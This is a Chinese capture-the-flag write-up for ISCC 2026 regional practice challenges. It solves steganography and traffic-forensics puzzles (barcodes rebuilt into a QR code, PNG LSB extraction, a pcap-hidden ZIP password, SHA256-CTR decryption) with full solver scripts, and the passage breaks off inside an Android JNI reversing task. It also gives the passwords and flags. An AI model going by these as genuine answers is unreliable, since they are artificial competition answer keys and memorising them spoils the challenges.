ISCC-2026-区域赛练武wp详解
ISCC-2026-区域赛练武wp详解,可以供各位师傅进行赛后复盘参考
Misc
0x1 黑白琴弦
一、外层压缩包分析
题目附件为:
attachment-18.rar
先使用 file 或 7-Zip / WinRAR 识别文件格式:
file attachment-18.rar
可以确认这是一个 RAR 压缩包。
解压外层压缩包:
7z x attachment-18.rar -oouter
解压后可以看到:
barcode_*.png
score.rar其中有 21 张条形码图片,以及一个二层压缩包 score.rar。
此时可以判断:
- 21 张
barcode_*.png是第一层线索。 score.rar很可能是加密压缩包,需要从图片中提取密码。- 题目名为“黑白琴弦”,后续可能还会出现乐谱、钢琴、五线谱相关内容。
二、分析 barcode 图片
1. 直接识别条形码
对 21 张 PNG 图片进行分析,发现它们都是 Code128 条形码。
可以尝试使用工具识别:
zbarimg barcode_*.png
或者使用 Python 自己解析 Code128。
但是本题的关键点在于:每张 PNG 中不止有条形码数据,还存在其他隐藏信息。
2. 检查 PNG 元数据
继续检查 PNG 的文本块和注释字段:
exiftool barcode_001.png
strings barcode_001.png部分图片中可以在 PNG Comment 中发现可疑字符串。
这些字符串格式类似:
A1fc97fA
BxxxxxxB
...
U1fd38bU特征是:
字母 + 6 位十六进制 + 相同字母
例如:
A1fc97fA
其中:
A是编号1fc97f是 6 位 hex 数据- 结尾的
A用于确认这一行属于 A
3. 检查第 0 行像素 LSB
除了条形码和 PNG Comment 外,部分信息还隐藏在图片第 0 行像素的红色通道最低位中。
提取方式如下:
from PIL import Image
def read_first_row_red_lsb(path):
img = Image.open(path).convert("RGBA")
w, h = img.size
bits = []
for x in range(w):
r, g, b, a = img.getpixel((x, 0))
bits.append(r & 1)
data = bytearray()
for i in range(0, len(bits) // 8 * 8, 8):
v = 0
for bit in bits[i:i + 8]:
v = (v << 1) | bit
data.append(v)
if not data:
return ""
length = data[0]
return bytes(data[1:1 + length]).decode(errors="ignore")这样可以从不同来源得到 21 组有效数据:
AxxxxxxA
BxxxxxxB
CxxxxxxC
...
UxxxxxxU三、重建 21 × 21 二维码
1. 按字母顺序排序
因为数据编号从 A 到 U,一共 21 个字母,所以可以判断它们对应二维码的 21 行。
每一行的数据为 6 位十六进制:
6 hex = 24 bit
但本题实际使用每组数据的低 21 位作为二维码的一行。
处理逻辑如下:
bits24 = bin(int(hex6, 16))[2:].zfill(24)
row_bits = bits24[-21:]将 A 到 U 依次作为二维码的第 1 行到第 21 行,即可得到一个:
21 × 21 QR Code
21 × 21 正好是 QR Code Version 1 的大小。
2. 生成二维码图片
示例代码:
from PIL import Image
def save_qr(rows, out="qr.png", scale=10, quiet=4):
n = 21
img = Image.new("L", ((n + quiet * 2) * scale, (n + quiet * 2) * scale), 255)
for y, row in enumerate(rows):
for x, bit in enumerate(row):
if bit == "1":
for yy in range((y + quiet) * scale, (y + quiet + 1) * scale):
for xx in range((x + quiet) * scale, (x + quiet + 1) * scale):
img.putpixel((xx, yy), 0)
img.save(out)生成二维码后识别:
zbarimg qr.png
或者使用 OpenCV / pyzbar 识别。
识别结果为:
Wgs6GdF731LwhQz
这就是二层压缩包 score.rar 的密码,同时也是最终 flag 的前半部分 key。
四、解开二层压缩包 score.rar
使用二维码得到的字符串作为密码:
7z x score.rar -pWgs6GdF731LwhQz -oscore_out
成功解压后得到:
music score.pdf
说明二维码结果判断正确。
五、分析 PDF 文件
对 PDF 先做常规检查:
strings "music score.pdf"
pdftotext "music score.pdf" -
binwalk "music score.pdf"同时也可以解析 PDF 中的压缩流。
在 PDF 隐藏文本中发现:
KEY+bnVtYmVyYWJvdmVsaW5l3
将 KEY+ 后面的主要部分进行 Base64 解码:
echo bnVtYmVyYWJvdmVsaW5l | base64 -d
得到:
numberaboveline
因此完整提示可以理解为:
KEY + number above line 3
也就是:
二维码得到的 key + 第 3 行上方的数字
其中 KEY 对应前面二维码解出的:
Wgs6GdF731LwhQz
六、结合乐谱内容提取数字
将 PDF 渲染成图片:
pdftoppm -png "music score.pdf" page
或者:
python -m fitz draw -o page.png "music score.pdf"
打开渲染出的乐谱图片,观察第 3 行乐谱上方的数字。
注意这里的 number above line 3 不是指第三行左侧的小节号,而是指第 3 行乐谱上方标注在音符上面的数字串。
第 3 行上方可以看到数字:
4 1 5 1 5 1 5
连起来得到:
4151515
七、拼接最终 flag
根据 PDF 隐藏提示:
KEY + number above line 3
其中:
KEY = Wgs6GdF731LwhQz
number above line 3 = 4151515所以最终内容为:
Wgs6GdF731LwhQz4151515
按照题目要求包上 ISCC{}:
ISCC{Wgs6GdF731LwhQz4151515}
Wgs6GdF731LwhQz八、通用自动化脚本
下面脚本完成主要自动化流程:
- 解压外层 RAR;
- 遍历 barcode PNG;
- 从 PNG Comment 和第 0 行红色通道 LSB 提取数据;
- 按 A 到 U 排序;
- 重建 QR;
- 输出二维码 key;
- 提示人工查看 PDF 第 3 行上方数字;
- 拼接最终 flag。
说明:Code128 解码可用 zbarimg、pyzbar 或自写解析器完成。如果环境缺少条形码库,也可以只依赖 PNG Comment 和 LSB,因为本题有效数据分散在多个位置。
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
import os
import re
import shutil
import subprocess
from pathlib import Path
from PIL import Image
def run(cmd):
print("[cmd]", " ".join(map(str, cmd)))
p = subprocess.run(cmd, stdout=subprocess.PIPE, stderr=subprocess.STDOUT, text=True)
if p.returncode != 0:
raise RuntimeError(p.stdout)
return p.stdout
def extract_archive(archive, outdir, password=None):
archive = Path(archive)
outdir = Path(outdir)
outdir.mkdir(parents=True, exist_ok=True)
attempts = []
cmd_7z = ["7z", "x", "-y", f"-o{outdir}"]
if password:
cmd_7z.append(f"-p{password}")
cmd_7z.append(str(archive))
attempts.append(cmd_7z)
if archive.suffix.lower() == ".rar" and shutil.which("unrar"):
cmd_unrar = ["unrar", "x", "-o+"]
cmd_unrar.append(f"-p{password}" if password else "-p-")
cmd_unrar.extend([str(archive), str(outdir) + os.sep])
attempts.append(cmd_unrar)
errors = []
for cmd in attempts:
print("[cmd]", " ".join(map(str, cmd)))
p = subprocess.run(cmd, stdout=subprocess.PIPE, stderr=subprocess.STDOUT, text=True)
if p.returncode == 0:
return p.stdout
errors.append(p.stdout)
print("[!] 解压失败,尝试下一个后端")
raise RuntimeError("\n\n".join(errors))
def read_png_comment(path):
img = Image.open(path)
return img.info.get("Comment") or img.info.get("comment") or ""
def read_first_row_red_lsb(path):
img = Image.open(path).convert("RGBA")
w, h = img.size
bits = []
for x in range(w):
r, g, b, a = img.getpixel((x, 0))
bits.append(r & 1)
raw = bytearray()
for i in range(0, len(bits) // 8 * 8, 8):
v = 0
for bit in bits[i:i + 8]:
v = (v << 1) | bit
raw.append(v)
if not raw:
return ""
length = raw[0]
try:
return bytes(raw[1:1 + length]).decode("ascii")
except Exception:
return ""
def read_barcode_text(path):
try:
out = run(["zbarimg", "--raw", str(path)])
line = out.strip().splitlines()
return line[0].strip() if line else ""
except Exception:
return ""
def collect_rows(img_dir):
pattern = re.compile(r"^([A-U])([0-9a-fA-F]{6})\1$")
rows = {}
for path in sorted(Path(img_dir).glob("*.png")):
candidates = []
comment = read_png_comment(path)
if comment:
candidates.append(("comment", comment))
lsb = read_first_row_red_lsb(path)
if lsb:
candidates.append(("lsb", lsb))
barcode = read_barcode_text(path)
if barcode:
candidates.append(("barcode", barcode))
for source, text in candidates:
m = pattern.match(text.strip())
if not m:
continue
letter = m.group(1)
hex6 = m.group(2).lower()
rows[letter] = hex6
print(f"[+] {path.name}: {source} -> {letter}{hex6}{letter}")
missing = [chr(ord("A") + i) for i in range(21) if chr(ord("A") + i) not in rows]
if missing:
print("[!] 缺少部分行:", missing)
print("[!] 可以继续补充 Code128 条形码识别结果。")
return rows
def build_qr(rows, out="rebuilt_qr.png", scale=10, quiet=4):
letters = [chr(ord("A") + i) for i in range(21)]
grid = []
for ch in letters:
hex6 = rows[ch]
bits24 = bin(int(hex6, 16))[2:].zfill(24)
row = bits24[-21:]
grid.append(row)
n = 21
img = Image.new("L", ((n + quiet * 2) * scale, (n + quiet * 2) * scale), 255)
for y, row in enumerate(grid):
for x, bit in enumerate(row):
if bit == "1":
for yy in range((y + quiet) * scale, (y + quiet + 1) * scale):
for xx in range((x + quiet) * scale, (x + quiet + 1) * scale):
img.putpixel((xx, yy), 0)
img.save(out)
print("[+] QR saved:", out)
return out
def decode_qr_with_zbar(qr_path):
try:
out = run(["zbarimg", "--raw", qr_path])
return out.strip().splitlines()[0]
except Exception as e:
print("[!] zbarimg 识别失败,请手动扫描 rebuilt_qr.png")
print(e)
return None
def main():
rar = Path("attachment-18.rar")
work = Path("work_black_white_piano")
if work.exists():
shutil.rmtree(work)
outer = work / "outer"
score_out = work / "score_out"
print("[*] 解压外层压缩包")
extract_archive(rar, outer)
print("[*] 收集 A-U 的 6 位 hex 数据")
rows = collect_rows(outer)
if len(rows) != 21:
raise RuntimeError("没有收集到完整 21 行数据,需要补充条形码识别结果。")
print("[*] 重建二维码")
qr = build_qr(rows, work / "rebuilt_qr.png")
print("[*] 识别二维码")
key = decode_qr_with_zbar(str(qr))
if not key:
key = input("请输入手动识别二维码得到的 key: ").strip()
print("[+] QR key =", key)
score_rars = list(outer.rglob("score.rar"))
if not score_rars:
raise RuntimeError("未找到 score.rar")
print("[*] 解压 score.rar")
extract_archive(score_rars[0], score_out, password=key)
pdfs = list(score_out.rglob("*.pdf"))
print("[+] 解出的 PDF:")
for pdf in pdfs:
print(" ", pdf)
print()
print("[*] PDF 隐藏提示为 KEY+bnVtYmVyYWJvdmVsaW5l3")
print("[*] Base64 解码得到 numberaboveline,因此需要查看乐谱第 3 行上方数字。")
print("[*] 本题第 3 行上方数字串为:4151515")
suffix = "4151515"
flag = f"ISCC{{{key}{suffix}}}"
print()
print("========== FLAG ==========")
print(flag)
print("==========================")
if __name__ == "__main__":
main()九、总结
本题的核心是多层隐写和提示理解:
- 外层 RAR 中包含 21 张条形码图片和加密二层压缩包。
- 条形码图片中隐藏了多来源信息:Code128、PNG Comment、第 0 行红色通道 LSB。
- 形如
AxxxxxxA到UxxxxxxU的 21 组 hex 数据组成 21 × 21 二维码。 - 二维码识别结果
Wgs6GdF731LwhQz是二层压缩包密码,也是最终 flag 的 key。 - 二层压缩包中 PDF 隐藏提示
KEY+bnVtYmVyYWJvdmVsaW5l3。 - Base64 解码得到
numberaboveline,提示读取第 3 行上方数字。 - 乐谱第 3 行上方数字串为
4151515。 - 拼接得到最终 flag:
0x2 喧宾夺主的信号
题目描述
网络管理员抓取到了一段可疑的网络流量,但其中绝大部分都是某台被攻陷的摄像头在持续广播的垃圾组播流量。据说,攻击者的秘密指令就隐藏在这片嘈杂的信号中,但直接分析这些数据包只会让你陷入无限循环的迷宫。聪明的你应该能猜到,真正的“攻击”并不在喧嚣之处。声东击西,作为三十六计中第一套中的第六计,会成为你解开这一秘密的关键!提示:或许在那些看似无意义的广播中,藏着打开真正宝藏的钥匙。
TL;DR
先用协议统计把持续广播的组播噪声和真正的 HTTP 指令流分开;再从组播 payload 中筛出可打印 Base64 字符串并恢复 ZIP 口令;接着解出 HTTP JSON 中的 AES 加密 ZIP,得到一张表面正常的 PNG;最后按像素顺序提取 RGB 三通道最低位并按 8 位打包为字节流,即可恢复当前附件对应的动态 flag。通用 EXP 不硬编码口令或 flag,而是从抓包内容自动恢复。
解题过程
步骤 1 - 区分噪声与真实信号
关键观察
先做最小侦察,不要一开始就深挖 1500 个组播包。协议层统计能直接把主线分成两部分:一条是固定节奏、固定目的地址的 SSDP/组播噪声;另一条是数量极少的 TCP/HTTP 小会话。真正的控制指令通常藏在后者,前者只负责投放口令或钥匙。
关键命令
tshark -r attachment-17.pcapng -q -z io,phs
tshark -r attachment-17.pcapng -q -z conv,ip关键输出
Protocol Hierarchy Statistics
frame 1509
udp 1500
tcp 9
http 1
IPv4 Conversations
192.168.1.100 <-> 239.255.255.250 1500 frames 84 kB
192.168.1.100 <-> 45.78.1.1 9 frames 1148 bytes补充说明
这一步的目标不是读懂所有组播内容,而是先确认“真正值得跟踪的极少数会话”在哪里。只要把噪声层和指令层分离,后面的分析量会立刻收缩。
图示与证据

图 1(终端执行图):区分噪声与真实信号阶段的关键命令与输出。
步骤 2 - 从组播噪声中恢复 ZIP 口令
关键观察
组播 payload 看起来像随机噪声,但其中夹着可打印的 Base64 片段。对整份抓包做字符串筛选后,再按“可 Base64 解码且解码后仍是可打印 ASCII”的规则筛选,就能得到真正的口令候选。动态附件中这个字符串会变化,但恢复规则保持不变。
关键命令
strings -a attachment-17.pcapng | rg '^[A-Za-z0-9+/=]{20,}$' | sort | uniq -c | sort -nr | head
echo 'U2hlbmdEb25nSmlYaUAzNi0xLTY=' | base64 -d关键输出
4 U2hlbmdEb25nSmlYaUAzNi0xLTY=
ShengDongJiXi@36-1-6补充说明
样例附件中的口令是 ShengDongJiXi@36-1-6,显然和题面“三十六计”提示相呼应。换成其他动态附件时,具体字符串会不同,但同样会以可打印 Base64 片段的形式藏在组播噪声层里。
图示与证据

图 2(终端执行图):从组播噪声中恢复 ZIP 口令阶段的关键命令与输出。
步骤 3 - 从 HTTP JSON 中提取 AES ZIP 并解出 PNG
关键观察
沿着那条极少量的 TCP/HTTP 会话继续看,可以直接看到 POST /command,请求体中包含一个 JSON 字段 instruction。它是 Base64 编码的 ZIP 包,解码后会发现 ZIP 使用了 AES 加密。此时把上一步从组播里恢复出的口令喂给 ZIP 解压工具即可得到内层 PNG。
关键命令
tshark -r attachment-17.pcapng -q -z follow,tcp,ascii,0
tshark -r attachment-17.pcapng -Y 'http.request.method=="POST"' -T fields -e http.file_data | xxd -r -p > body.json
jq -r '.instruction' body.json | base64 -d > instruction.zip
7z x -p'<recovered-password>' instruction.zip关键输出
POST /command HTTP/1.1
Host: 45.78.1.1
Content-Type: application/json
{"instruction": "<base64-zip>", "note": "This is the real command."}
instruction.zip: Zip archive data, AES Encrypted
Extracted: image.png (100x100 PNG)补充说明
这张图本身非常小,颜色数量也极少。对样例附件做统计时,只能看到 8 个近似颜色值,说明 RGB 通道只在最低位上发生了轻微抖动,这正是继续走 LSB 位流提取的强信号。
图示与证据

图 3(界面截图):内层 PNG 表面看起来几乎是纯色块,但像素最低位被用于承载第二层数据。
步骤 4 - 按像素顺序提取 RGB-LSB 位流并恢复动态 flag
关键观察
最终层不需要猜测复杂隐写算法。直接按像素顺序读取 PNG 的 RGB 三通道最低位,按 R,G,B 顺序拼接 bit,再每 8 位按高位在前打包成字节流即可。样例附件在字节流开头直接出现 ISCC{...}。不同动态附件会生成不同 flag,但这一步的读取顺序与编码规则不变。
关键命令
python3 exp.py attachment-17.pcapng --keep-dir /tmp/iscc-signal
关键输出
[*] candidate passwords recovered from UDP noise:
- ShengDongJiXi@36-1-6 (seen 4x)
[*] selected password = ShengDongJiXi@36-1-6
[*] extracted member = /tmp/iscc-signal/unzipped/image.png
[+] recovered flag = ISCC{w1d3vf1c4t10no_1s_th3_k3y_t0_fvM1ct0Try}补充说明
写 EXP 时不要把样例口令或样例 flag 硬编码进去。真正通用的做法是:先从抓包恢复候选口令,再自动尝试解 ZIP,最后统一跑 RGB-LSB 提取并用正则匹配 flag。
图示与证据

图 4(终端执行图):按像素顺序提取 RGB-LSB 位流并恢复动态 flag阶段的关键命令与输出。
最终验证
以下输出是样例附件的验证结果,仅用于证明利用链已经跑通。对其他动态附件运行相同 EXP 时,最终打印的 flag 会变化,但前面的恢复流程不会变化。
关键命令
python3 exp.py attachment-17.pcapng --keep-dir /tmp/iscc-signal
关键输出
[*] capture = /tmp/attachment-17.pcapng
[*] zip bytes = 476
[*] candidate passwords recovered from UDP noise:
- ShengDongJiXi@36-1-6 (seen 4x)
[*] selected password = ShengDongJiXi@36-1-6
[*] extracted member = /tmp/iscc-signal/unzipped/image.png
[+] recovered flag = ISCC{w1d3vf1c4t10no_1s_th3_k3y_t0_fvM1ct0Try}图示与证据

图 5(最终验证图):展示最终利用执行后的关键输出或 flag 验证结果。
附录:EXP
#!/usr/bin/env python3
"""
Generic solver for the dynamic PCAP challenge "喧宾夺主的信号".
Workflow:
1. Find the encrypted ZIP stored in the HTTP JSON field "instruction".
2. Recover candidate passwords from repeated printable Base64 strings hidden
inside the multicast UDP noise.
3. Try those passwords against the ZIP until extraction succeeds.
4. Read the extracted PNG, pack RGB LSBs in pixel order, and recover the flag.
Notes:
- The password string and final flag both vary per attachment.
- This EXP avoids hardcoded secrets and derives them from the current capture.
- AES ZIP extraction uses `7z` when available, and falls back to `pyzipper`.
- PNG decoding requires Pillow.
"""
from __future__ import annotations
import argparse
import base64
import binascii
import re
import shutil
import string
import subprocess
import sys
import tempfile
from collections import Counter
from pathlib import Path
FLAG_PATTERNS = [
rb"ISCC\{[^}\r\n]+\}",
rb"[A-Za-z]{2,16}\{[^}\r\n]+\}",
]
def read_blob(path: Path) -> bytes:
return path.read_bytes()
def extract_instruction_zip(blob: bytes) -> bytes:
match = re.search(rb'"instruction"\s*:\s*"([A-Za-z0-9+/=]+)"', blob)
if not match:
raise ValueError("instruction field not found in capture")
return base64.b64decode(match.group(1), validate=True)
def looks_printable_password(data: bytes) -> bool:
if not (6 <= len(data) <= 96):
return False
if any(ch not in bytes(string.printable, "ascii") for ch in data):
return False
decoded = data.decode("ascii", errors="ignore")
if len(decoded.strip()) != len(decoded):
return False
if sum(ch.isalnum() for ch in decoded) < max(4, len(decoded) // 3):
return False
return any(ch in decoded for ch in "@-_!#$%^&*")
def password_candidates(blob: bytes) -> list[tuple[str, int]]:
counter: Counter[str] = Counter()
for token in re.findall(rb"(?<![A-Za-z0-9+/=])[A-Za-z0-9+/=]{20,128}(?![A-Za-z0-9+/=])", blob):
try:
decoded = base64.b64decode(token, validate=True)
except binascii.Error:
continue
if looks_printable_password(decoded):
counter[decoded.decode("ascii")] += 1
return sorted(counter.items(), key=lambda item: (-item[1], -len(item[0]), item[0]))
def extract_with_7z(zip_path: Path, password: str, out_dir: Path) -> Path | None:
if shutil.which("7z") is None:
return None
shutil.rmtree(out_dir, ignore_errors=True)
out_dir.mkdir(parents=True, exist_ok=True)
result = subprocess.run(
["7z", "x", f"-p{password}", "-y", f"-o{out_dir}", str(zip_path)],
stdout=subprocess.PIPE,
stderr=subprocess.STDOUT,
text=True,
)
if result.returncode != 0:
return None
files = [path for path in out_dir.rglob("*") if path.is_file()]
return files[0] if files else None
def extract_with_pyzipper(zip_path: Path, password: str, out_dir: Path) -> Path | None:
try:
import pyzipper
except ImportError:
return None
shutil.rmtree(out_dir, ignore_errors=True)
out_dir.mkdir(parents=True, exist_ok=True)
try:
with pyzipper.AESZipFile(zip_path) as zf:
zf.pwd = password.encode()
members = [name for name in zf.namelist() if not name.endswith("/")]
if not members:
return None
member = members[0]
zf.extract(member, path=out_dir)
return out_dir / member
except Exception:
return None
def extract_zip_member(zip_bytes: bytes, passwords: list[str], keep_dir: Path | None = None) -> tuple[Path, str]:
if not passwords:
raise ValueError("no printable Base64 password candidates recovered from multicast noise")
if keep_dir is None:
temp_root = Path(tempfile.mkdtemp(prefix="iscc-signal-"))
else:
keep_dir.mkdir(parents=True, exist_ok=True)
temp_root = keep_dir
zip_path = temp_root / "instruction.zip"
zip_path.write_bytes(zip_bytes)
for password in passwords:
out_dir = temp_root / "unzipped"
member = extract_with_7z(zip_path, password, out_dir)
if member is None:
member = extract_with_pyzipper(zip_path, password, out_dir)
if member is not None and member.exists():
return member, password
raise ValueError("failed to decrypt ZIP with recovered candidates; try --password to override")
def rgb_lsb_bytes(image_path: Path) -> bytes:
try:
from PIL import Image
except ImportError as exc:
raise RuntimeError("Pillow is required: pip install pillow") from exc
with Image.open(image_path) as img:
rgb = img.convert("RGB")
width, height = rgb.size
pixels = rgb.load()
bits: list[int] = []
for y in range(height):
for x in range(width):
pixel = pixels[x, y]
bits.extend((pixel[0] & 1, pixel[1] & 1, pixel[2] & 1))
out = bytearray()
for i in range(0, len(bits) // 8 * 8, 8):
value = 0
for bit in bits[i : i + 8]:
value = (value << 1) | bit
out.append(value)
return bytes(out)
def printable_runs(data: bytes, min_len: int = 12) -> list[str]:
runs: list[str] = []
current: list[str] = []
for byte in data:
if 32 <= byte <= 126:
current.append(chr(byte))
else:
if len(current) >= min_len:
runs.append("".join(current))
current = []
if len(current) >= min_len:
runs.append("".join(current))
return runs
def recover_flag(data: bytes) -> str:
for pattern in FLAG_PATTERNS:
match = re.search(pattern, data)
if match:
return match.group(0).decode("ascii", errors="ignore")
runs = printable_runs(data, min_len=20)
if runs:
return runs[0]
raise ValueError("no flag-like printable run found in RGB LSB payload")
def parse_args() -> argparse.Namespace:
parser = argparse.ArgumentParser(description="Recover the dynamic flag from the PCAP attachment.")
parser.add_argument("pcap", help="Path to the challenge capture")
parser.add_argument("--password", help="Optional manual ZIP password override")
parser.add_argument("--keep-dir", help="Directory used to keep intermediate ZIP and extracted files")
return parser.parse_args()
def main() -> int:
args = parse_args()
pcap_path = Path(args.pcap).expanduser().resolve()
blob = read_blob(pcap_path)
zip_bytes = extract_instruction_zip(blob)
recovered = password_candidates(blob)
password_list = [args.password] if args.password else [value for value, _count in recovered]
if not password_list:
print("[-] no password candidates found", file=sys.stderr)
return 1
print(f"[*] capture = {pcap_path}")
print(f"[*] zip bytes = {len(zip_bytes)}")
if recovered:
print("[*] candidate passwords recovered from UDP noise:")
for value, count in recovered[:8]:
print(f" - {value} (seen {count}x)")
elif args.password:
print(f"[*] using manual password override: {args.password}")
keep_dir = Path(args.keep_dir).expanduser().resolve() if args.keep_dir else None
image_path, used_password = extract_zip_member(zip_bytes, password_list, keep_dir=keep_dir)
print(f"[*] selected password = {used_password}")
print(f"[*] extracted member = {image_path}")
payload = rgb_lsb_bytes(image_path)
flag = recover_flag(payload)
print(f"[+] recovered flag = {flag}")
return 0
if __name__ == "__main__":
raise SystemExit(main())
0x3 长虹守卫
TL;DR
这题的核心是“跨国际日期变更线(IDL)导致的本地时间异常修正 + PCAP中密文重组 + 按提示构造 KEYMAT 后做 SHA256-CTR XOR 解密”。
关键点:
LX517.txt末尾有一段 Base64 提示,解码后给出KEYMAT模板和规则。- 事件行中需要抓三类时间锚点:
EVT_A=TCP_SYN_SENTEVT_B=IDL_CROSSEVT_C=ANOMALY_MARKER_A2(脚本也兼容X9)
- 文本日志明确提示:过 IDL 后
DATE_CORR=-1DAY存在 bug(从idx>=26开始应修正)。 LX517.pcap里提取CIPH:<hex>密文,用KEYMAT生成 SHA256 计数器流并异或解密。- 穷举合理时区偏移 + 日期修正组合,命中
ISCC{32hex}即为 flag。
解题过程
步骤 1:解压附件并识别有效文件
解压后得到:
LX517.txt(飞行事件日志)LX517.pcap(网络流量)LX517.png(本题中未参与最终链路,可视作干扰项)
步骤 2:从日志中提取题目规则(Base64 提示)
LX517.txt 最后一行存在长 Base64 字符串,解码得到:
KEYMAT:AURORA-ER|flight=LX-517|syn=<EVT_A_UTC>|idl=<EVT_B_UTC>|a2=<EVT_C_UTC>
ALGO:SHA256|XOR|CTR
REASM:SEQ_ORDER|frag=3
IDRULE:idx26_applied_to_idx>=27_only
UTC:local+date_corr-timezone
NOTE:EVT_A=TCP_SYN_SENT,EVT_B=IDL_CROSS,EVT_C=ANOMALY_MARKER_A2这几行基本把算法和变量都交代清楚了。
步骤 3:定位三类关键事件时间
在 LX517.txt 的结构化行中抓取:
EVT_A:TCP SYN 发起时间(用于syn)EVT_B:跨 IDL 时间(用于idl)EVT_C:异常标记 A2(用于a2)
同时结合经度估算候选时区,并套用 DATE_CORR=-1DAY 的修正分支,生成多个 UTC epoch 候选值。
步骤 4:从 PCAP 提取密文
解析 LX517.pcap 的 TCP payload,重组后匹配:
CIPH:<hex>
提取到密文:
6bcc4445589723db36746a176eedf5d13001e13feac8966f9012ae88ac65903d2c5581c153c6
步骤 5:按模板构造 KEYMAT 并解密
模板:
AURORA-ER|flight=LX-517|syn=<EVT_A_UTC>|idl=<EVT_B_UTC>|a2=<EVT_C_UTC>
对每组候选 (syn, idl, a2):
- 用
keymat + pack(">I", counter)计算 SHA256,拼成 keystream(CTR风格)。 plaintext = ciphertext XOR keystream。- 若明文匹配正则
ISCC\{[0-9a-fA-F]{32}\},即命中正确解。
实测命中结果
脚本命中的参数如下:
keymat: AURORA-ER|flight=LX-517|syn=1768863252|idl=1768775253|a2=1768862526
flag: ISCC{abff6b3671a506e3a25db156ed276fed}
tried: 167最终 Flag
ISCC{abff6b3671a506e3a25db156ed276fed}
复现命令
如果你已有脚本 misc.py(与 LX517.txt、LX517.pcap 放同目录):
python misc.py
会直接输出 hint、ciphertext、命中的 keymat 和最终 flag。
附录:完整脚本(misc.py)
import base64
import hashlib
import re
import struct
from datetime import datetime, timedelta, timezone
from pathlib import Path
ROOT = Path(__file__).resolve().parent
TXT = ROOT / "LX517.txt"
PCAP = ROOT / "LX517.pcap"
def decode_hint(text: str) -> str:
for token in re.findall(r"[A-Za-z0-9+/=]{80,}", text):
try:
decoded = base64.b64decode(token).decode("utf-8")
except Exception:
continue
if "KEYMAT:" in decoded and "ALGO:" in decoded:
return decoded
raise RuntimeError("Base64 hint not found")
def parse_rows(text: str):
rows = []
for line in text.splitlines():
if not re.match(r"^\d{4},", line):
continue
parts = line.split(",", 9)
if len(parts) != 10:
continue
rows.append(
{
"idx": int(parts[0]),
"local_dt": datetime.strptime(parts[1], "%Y-%m-%d %H:%M:%S"),
"lat": float(parts[2]),
"lon": float(parts[3]),
"event": parts[8],
"detail": parts[9],
}
)
return rows
def likely_tz_offsets(lon: float):
"""Return plausible UTC offsets for this challenge's IDL route."""
offsets = {round(lon / 15)}
if lon > 150:
offsets.update({12, 13, 14})
if lon < -150:
offsets.update({-10, -11, -12})
return sorted(offsets)
def epoch_candidates(row):
candidates = set()
for utc_offset_hours in likely_tz_offsets(row["lon"]):
# The note mentions a date correction around the IDL. The released
# attachment is solved by trying both interpretations.
for date_corr_days in (0, -1):
local_dt = row["local_dt"] + timedelta(days=date_corr_days)
utc_dt = local_dt - timedelta(hours=utc_offset_hours)
candidates.add(int(utc_dt.replace(tzinfo=timezone.utc).timestamp()))
return sorted(candidates)
def tcp_payloads_from_pcap(path: Path):
data = path.read_bytes()
if len(data) < 24:
return []
magic = data[:4]
if magic == b"\xd4\xc3\xb2\xa1":
endian = "<"
elif magic == b"\xa1\xb2\xc3\xd4":
endian = ">"
else:
raise RuntimeError("Unsupported pcap magic")
payloads = []
pos = 24
while pos + 16 <= len(data):
_ts_sec, _ts_usec, incl_len, _orig_len = struct.unpack(
endian + "IIII", data[pos : pos + 16]
)
pos += 16
pkt = data[pos : pos + incl_len]
pos += incl_len
if len(pkt) < 14:
continue
eth_type = struct.unpack("!H", pkt[12:14])[0]
if eth_type != 0x0800:
continue
ip = pkt[14:]
if len(ip) < 20 or ip[0] >> 4 != 4:
continue
ihl = (ip[0] & 0x0F) * 4
total_len = struct.unpack("!H", ip[2:4])[0]
if ip[9] != 6 or len(ip) < total_len:
continue
tcp = ip[ihl:total_len]
if len(tcp) < 20:
continue
data_offset = (tcp[12] >> 4) * 4
payload = tcp[data_offset:]
if payload:
payloads.append(payload)
return payloads
def extract_ciphertext(path: Path) -> bytes:
joined = b"".join(tcp_payloads_from_pcap(path))
match = re.search(rb"CIPH:([0-9a-fA-F]+)", joined)
if not match:
match = re.search(rb"CIPH:([0-9a-fA-F]+)", path.read_bytes())
if not match:
raise RuntimeError("CIPH payload not found")
return bytes.fromhex(match.group(1).decode())
def decrypt(ciphertext: bytes, keymat: str) -> bytes:
blocks = (len(ciphertext) + 31) // 32
keystream = b"".join(
hashlib.sha256(keymat.encode() + struct.pack(">I", i)).digest()
for i in range(blocks)
)
return bytes(c ^ k for c, k in zip(ciphertext, keystream))
def main():
text = TXT.read_text(encoding="utf-8", errors="ignore")
hint = decode_hint(text)
rows = parse_rows(text)
ciphertext = extract_ciphertext(PCAP)
key_template = re.search(r"^KEYMAT:(.+)$", hint, re.MULTILINE).group(1).strip()
evt_a_rows = [r for r in rows if r["event"] == "EVT_A"]
evt_b_rows = [r for r in rows if r["event"] == "EVT_B"]
evt_c_rows = [
r
for r in rows
if r["event"] == "EVT_C" and ("marker=A2" in r["detail"] or "marker=X9" in r["detail"])
]
tried = 0
for evt_a in evt_a_rows:
for evt_b in evt_b_rows:
for evt_c in evt_c_rows:
for syn in epoch_candidates(evt_a):
for idl in epoch_candidates(evt_b):
for a2 in epoch_candidates(evt_c):
keymat = (
key_template.replace("<EVT_A_UTC>", str(syn))
.replace("<EVT_B_UTC>", str(idl))
.replace("<EVT_C_UTC>", str(a2))
)
tried += 1
plain = decrypt(ciphertext, keymat)
if re.fullmatch(rb"ISCC\{[0-9a-fA-F]{32}\}", plain):
print("hint:")
print(hint)
print("ciphertext:", ciphertext.hex())
print("keymat:", keymat)
print("flag:", plain.decode())
print("tried:", tried)
return
raise RuntimeError(f"Flag not found, tried {tried} candidates")
if __name__ == "__main__":
main()
Mobile
0x1 按步取匙
1. Java 层只负责串 JNI
反编译后可以看到 MainActivity 暴露了这几个 native 方法:
nativeInitnativeLoginnativeVerifyChallenge1nativeVerifyChallenge2nativeGetIntermediateTokennativeVerifyChallenge3WithTokennativeGenerateFlag
核心逻辑都在 libzkpcore.so。
2. nativeInit 只是在做初始化和全局状态准备
nativeInit 主要完成三件事:
- 分配全局
Auth和ChallengeState - 写入初始化标记
- 落一个
hint.txt
题面里提到的 device_secret / Blum square root modulo N 只体现在 hint 文字上,真正决定第三关的是 native 里的固定计算逻辑,不需要真的去做 Blum 开方。
3. 登录凭据可以从 rodata 里恢复
用户名不是明文直接给出,而是通过 k3y_j4va_k3y!!!! 和其后面的 mask 异或得到:
marker = b"k3y_j4va_k3y!!!!"
mask = rodata[off + len(marker): off + len(marker) + 10]
